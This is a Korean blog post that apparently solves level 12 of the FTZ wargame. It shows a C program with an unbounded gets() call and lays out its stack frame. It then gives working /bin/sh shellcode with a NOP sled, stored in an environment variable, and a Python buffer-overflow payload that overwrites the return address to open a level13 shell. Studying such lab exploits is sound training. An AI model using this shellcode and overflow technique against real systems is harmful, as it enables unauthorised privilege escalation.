FTZ level12

Posted by dw0rdptr
2015. 3. 17. 21:05 System/FTZ


-hint

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main( void ){    
 
    char str[256];     
    setreuid( 30933093 );    
    printf( "문장을 입력하세요.\n" );    
    gets( str );    
    printf( "%s\n", str );
}  
cs

 



gets는 입력받는 문자열의 길이를 제한하지 못해 선언된 버퍼보다 많은값을 입력받으면

버퍼 오버플로우가 발생하게 된다


level 11과는 다르게  프로그램 안에서 입력을 받고있다.


gdb 로 disass main명령어를 실행하면


main+3을 보면 스택에 0x108(264)의 공간을 만든다

이 공간은 str[256]+dummy이므로 dummy의 크기는 8byte이라는 것을알수있다



| str[256] | dummy[8] | sfp[4] | ret[4] |



먼저 환경변수 shellcode에 25바이트 쉘코드를 입력


export shellcode=`python -c 'print "\x90"*50 + "\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`


환경변수 shellcode의 주소를 찾는다

(소스는 level11 참조)



./get shellcode

The address of shellcode is 0xbffffec5



이제 공격 코드를 짜면되는데, 파이프 명령어를 이용한다

(python -c 'print "A"*268 + "\xc5\xfe\xff\xbf"' ;cat) | ./attackme

                                              (shellcode의 주소)



위와 같은 방법으로 스크립트 전체를 괄호로 묶고 cat 으로 나온 출력을 attackme 의 입력으로 돌려주면 된다.



uid=3093(level13) gid=3092(level12) groups=3092(level12)

쉘을 얻었다. my-pass를 실행하면


level13 Password



'System > FTZ' 카테고리의 다른 글

FTZ level14  (0) 2015.03.17
FTZ level13  (0) 2015.03.17
FTZ level11  (0) 2015.03.17
FTZ level10  (0) 2015.03.17
FTZ level9  (0) 2015.03.17